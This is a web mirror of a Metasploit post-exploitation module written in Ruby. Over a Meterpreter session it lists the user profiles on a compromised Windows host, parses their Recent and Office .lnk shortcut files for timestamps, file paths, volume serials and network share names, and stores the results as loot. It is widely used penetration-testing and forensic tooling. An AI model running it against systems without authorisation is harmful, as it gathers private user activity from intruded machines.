CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/dumplinks.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Windows::Priv
8
include Msf::Post::Windows::Accounts
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Windows Gather Dump Recent Files lnk Info',
15
'Description' => %q{
16
The dumplinks module is a modified port of Harlan Carvey's lslnk.pl Perl script.
17
This module will parse .lnk files from a user's Recent Documents folder
18
and Microsoft Office's Recent Documents folder, if present.
19
Windows creates these link files automatically for many common file types.
20
The .lnk files contain time stamps, file locations, including share
21
names, volume serial numbers, and more.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [ 'davehull <dph_msf[at]trustedsignal.com>'],
25
'Platform' => [ 'win' ],
26
'SessionTypes' => [ 'meterpreter' ],
27
'Compat' => {
28
'Meterpreter' => {
29
'Commands' => %w[
30
core_channel_eof
31
core_channel_open
32
core_channel_read
33
core_channel_write
34
stdapi_fs_ls
35
stdapi_sys_config_getenv
36
stdapi_sys_config_getuid
37
]
38
}
39
}
40
)
41
)
42
end
43
44
# Run Method for when run command is issued
45
def run
46
print_status("Running module against #{sysinfo['Computer']}")
47
enum_users.each do |user|
48
if user['userpath']
49
print_status "Extracting lnk files for user #{user['username']} at #{user['userpath']}..."
50
extract_lnk_info(user['userpath'])
51
else
52
print_status "No Recent directory found for user #{user['username']}. Nothing to do."
53
end
54
if user['useroffcpath']
55
print_status "Extracting lnk files for user #{user['username']} at #{user['useroffcpath']}..."
56
extract_lnk_info(user['useroffcpath'])
57
else
58
print_status "No Recent Office files found for user #{user['username']}. Nothing to do."
59
end
60
end
61
end
62
63
def enum_users
64
users = []
65
userinfo = {}
66
session.sys.config.getuid
67
userpath = nil
68
env_vars = session.sys.config.getenvs('SystemDrive', 'USERNAME')
69
sysdrv = env_vars['SystemDrive']
70
version = get_version_info
71
if version.build_number >= Msf::WindowsVersion::Vista_SP0
72
userpath = sysdrv + '\\Users\\'
73
lnkpath = '\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\'
74
officelnkpath = '\\AppData\\Roaming\\Microsoft\\Office\\Recent\\'
75
else
76
userpath = sysdrv + '\\Documents and Settings\\'
77
lnkpath = '\\Recent\\'
78
officelnkpath = '\\Application Data\\Microsoft\\Office\\Recent\\'
79
end
80
if is_system?
81
print_status('Running as SYSTEM extracting user list...')
82
session.fs.dir.foreach(userpath) do |u|
83
next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini)$/
84
85
userinfo['username'] = u
86
userinfo['userpath'] = userpath + u + lnkpath
87
userinfo['useroffcpath'] = userpath + u + officelnkpath
88
userinfo['userpath'] = dir_entry_exists(userinfo['userpath'])
89
userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath'])
90
users << userinfo
91
userinfo = {}
92
end
93
else
94
uservar = env_vars['USERNAME']
95
userinfo['username'] = uservar
96
userinfo['userpath'] = userpath + uservar + lnkpath
97
userinfo['useroffcpath'] = userpath + uservar + officelnkpath
98
userinfo['userpath'] = dir_entry_exists(userinfo['userpath'])
99
userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath'])
100
users << userinfo
101
end
102
return users
103
end
104
105
# This is a hack because Meterpreter doesn't support exists?(file)
106
def dir_entry_exists(path)
107
session.fs.dir.entries(path)
108
rescue StandardError
109
return nil
110
else
111
return path
112
end
113
114
def extract_lnk_info(path)
115
session.fs.dir.foreach(path) do |file_name|
116
if file_name =~ /\.lnk$/ # We have a .lnk file
117
offset = 0 # TODO: Look at moving this to smaller scope
118
lnk_file = session.fs.file.new(path + file_name, 'rb')
119
record = lnk_file.sysread(0x04)
120
if record.unpack('V')[0] == 76 # We have a .lnk file signature
121
file_stat = session.fs.filestat.new(path + file_name)
122
print_status "Processing: #{path + file_name}."
123
@data_out = ''
124
125
record = lnk_file.sysread(0x48)
126
hdr = get_headers(record)
127
128
@data_out += get_lnk_file_mac(file_stat, path, file_name)
129
@data_out += "Contents of #{path + file_name}:\n"
130
@data_out += get_flags(hdr)
131
@data_out += get_attrs(hdr)
132
@data_out += get_lnk_mac(hdr)
133
@data_out += get_showwnd(hdr)
134
@data_out += get_lnk_mac(hdr)
135
136
# advance the file & offset
137
offset += 0x4c
138
139
if shell_item_id_list(hdr)
140
lnk_file.sysseek(offset, ::IO::SEEK_SET)
141
record = lnk_file.sysread(2)
142
offset += record.unpack('v')[0] + 2
143
end
144
# Get File Location Info
145
if (hdr['flags'] & 0x02) > 0
146
lnk_file.sysseek(offset, ::IO::SEEK_SET)
147
record = lnk_file.sysread(4)
148
tmp = record.unpack('V')[0]
149
if tmp > 0
150
lnk_file.sysseek(offset, ::IO::SEEK_SET)
151
record = lnk_file.sysread(0x1c)
152
loc = get_file_location(record)
153
if (loc['flags'] & 0x01) > 0
154
155
@data_out += "\tShortcut file is on a local volume.\n"
156
157
lnk_file.sysseek(offset + loc['vol_ofs'], ::IO::SEEK_SET)
158
record = lnk_file.sysread(0x10)
159
lvt = get_local_vol_tbl(record)
160
lvt['name'] = lnk_file.sysread(lvt['len'] - 0x10)
161
162
@data_out += "\t\tVolume Name = #{lvt['name']}\n" \
163
"\t\tVolume Type = #{get_vol_type(lvt['type'])}\n" +
164
"\t\tVolume SN = 0x%X" % lvt['vol_sn'] + "\n"
165
end
166
167
if (loc['flags'] & 0x02) > 0
168
169
@data_out += "\tFile is on a network share.\n"
170
171
lnk_file.sysseek(offset + loc['network_ofs'], ::IO::SEEK_SET)
172
record = lnk_file.sysread(0x14)
173
nvt = get_net_vol_tbl(record)
174
nvt['name'] = lnk_file.sysread(nvt['len'] - 0x14)
175
176
@data_out += "\tNetwork Share name = #{nvt['name']}\n"
177
end
178
179
if loc['base_ofs'] > 0
180
@data_out += get_target_path(loc['base_ofs'] + offset, lnk_file)
181
elsif loc['path_ofs'] > 0
182
@data_out += get_target_path(loc['path_ofs'] + offset, lnk_file)
183
end
184
end
185
end
186
end
187
lnk_file.close
188
store_loot('host.windows.lnkfileinfo', 'text/plain', session, @data_out, "#{sysinfo['Computer']}_#{file_name}.txt", 'User lnk file info')
189
end
190
end
191
end
192
193
# Not only is this code slow, it seems
194
# buggy. I'm studying the recently released
195
# MS Specs for a better way.
196
def get_target_path(path_ofs, lnk_file)
197
name = []
198
lnk_file.sysseek(path_ofs, ::IO::SEEK_SET)
199
record = lnk_file.sysread(2)
200
while (record.unpack('v')[0] != 0)
201
name.push(record)
202
record = lnk_file.sysread(2)
203
end
204
return "\tTarget path = #{name.join}\n"
205
end
206
207
def shell_item_id_list(hdr)
208
# Check for Shell Item ID List
209
if (hdr['flags'] & 0x01) > 0
210
return true
211
else
212
return nil
213
end
214
end
215
216
def get_lnk_file_mac(file_stat, path, file_name)
217
data_out = "#{path + file_name}:\n"
218
data_out += "\tAccess Time = #{file_stat.atime}\n"
219
data_out += "\tCreation Date = #{file_stat.ctime}\n"
220
data_out += "\tModification Time = #{file_stat.mtime}\n"
221
return data_out
222
end
223
224
def get_vol_type(type)
225
vol_type = {
226
0 => 'Unknown',
227
1 => 'No root directory',
228
2 => 'Removable',
229
3 => 'Fixed',
230
4 => 'Remote',
231
5 => 'CD-ROM',
232
6 => 'RAM Drive'
233
}
234
return vol_type[type]
235
end
236
237
def get_showwnd(hdr)
238
showwnd = {
239
0 => 'SW_HIDE',
240
1 => 'SW_NORMAL',
241
2 => 'SW_SHOWMINIMIZED',
242
3 => 'SW_SHOWMAXIMIZED',
243
4 => 'SW_SHOWNOACTIVE',
244
5 => 'SW_SHOW',
245
6 => 'SW_MINIMIZE',
246
7 => 'SW_SHOWMINNOACTIVE',
247
8 => 'SW_SHOWNA',
248
9 => 'SW_RESTORE',
249
10 => 'SHOWDEFAULT'
250
}
251
data_out = "\tShowWnd value(s):\n"
252
showwnd.each do |key, _value|
253
if (hdr['showwnd'] & key) > 0
254
data_out += "\t\t#{showwnd[key]}.\n"
255
end
256
end
257
return data_out
258
end
259
260
def get_lnk_mac(hdr)
261
data_out = "\tTarget file's MAC Times stored in lnk file:\n"
262
data_out += "\t\tCreation Time = #{Time.at(hdr['ctime'])}. (UTC)\n"
263
data_out += "\t\tModification Time = #{Time.at(hdr['mtime'])}. (UTC)\n"
264
data_out += "\t\tAccess Time = #{Time.at(hdr['atime'])}. (UTC)\n"
265
return data_out
266
end
267
268
def get_attrs(hdr)
269
fileattr = {
270
0x01 => 'Target is read only',
271
0x02 => 'Target is hidden',
272
0x04 => 'Target is a system file',
273
0x08 => 'Target is a volume label',
274
0x10 => 'Target is a directory',
275
0x20 => 'Target was modified since last backup',
276
0x40 => 'Target is encrypted',
277
0x80 => 'Target is normal',
278
0x100 => 'Target is temporary',
279
0x200 => 'Target is a sparse file',
280
0x400 => 'Target has a reparse point',
281
0x800 => 'Target is compressed',
282
0x1000 => 'Target is offline'
283
}
284
data_out = "\tAttributes:\n"
285
fileattr.each do |key, _attr|
286
if (hdr['attr'] & key) > 0
287
data_out += "\t\t#{fileattr[key]}.\n"
288
end
289
end
290
return data_out
291
end
292
293
# Function for writing results of other functions to a file
294
def filewrt(file2wrt, data2wrt)
295
output = ::File.open(file2wrt, 'ab')
296
if data2wrt
297
data2wrt.each_line do |d|
298
output.puts(d)
299
end
300
end
301
output.close
302
end
303
304
def get_flags(hdr)
305
flags = {
306
0x01 => 'Shell Item ID List exists',
307
0x02 => 'Shortcut points to a file or directory',
308
0x04 => 'The shortcut has a descriptive string',
309
0x08 => 'The shortcut has a relative path string',
310
0x10 => 'The shortcut has working directory',
311
0x20 => 'The shortcut has command line arguments',
312
0x40 => 'The shortcut has a custom icon'
313
}
314
data_out = "\tFlags:\n"
315
flags.each do |key, _flag|
316
if (hdr['flags'] & key) > 0
317
data_out += "\t\t#{flags[key]}.\n"
318
end
319
end
320
return data_out
321
end
322
323
def get_headers(record)
324
hd = record.unpack('x16V12x8')
325
hdr = Hash.new
326
hdr['flags'] = hd[0]
327
hdr['attr'] = hd[1]
328
hdr['ctime'] = get_time(hd[2], hd[3])
329
hdr['mtime'] = get_time(hd[4], hd[5])
330
hdr['atime'] = get_time(hd[6], hd[7])
331
hdr['length'] = hd[8]
332
hdr['icon_num'] = hd[9]
333
hdr['showwnd'] = hd[10]
334
hdr['hotkey'] = hd[11]
335
return hdr
336
end
337
338
def get_net_vol_tbl(file_net_rec)
339
nv = Hash.new
340
(nv['len'], nv['ofs']) = file_net_rec.unpack('Vx4Vx8')
341
return nv
342
end
343
344
def get_local_vol_tbl(lvt_rec)
345
lv = Hash.new
346
(lv['len'], lv['type'], lv['vol_sn'], lv['ofs']) = lvt_rec.unpack('V4')
347
return lv
348
end
349
350
def get_file_location(file_loc_rec)
351
location = Hash.new
352
(location['len'], location['ptr'], location['flags'],
353
location['vol_ofs'], location['base_ofs'], location['network_ofs'],
354
location['path_ofs']) = file_loc_rec.unpack('V7')
355
return location
356
end
357
358
def get_time(lo_byte, hi_byte)
359
if (lo_byte == 0 && hi_byte == 0)
360
return 0
361
else
362
lo_byte -= 0xd53e8000
363
hi_byte -= 0x019db1de
364
time = (hi_byte * 429.4967296 + lo_byte / 1e7).to_i
365
if time < 0
366
return 0
367
end
368
end
369
370
return time
371
end
372
end
373
374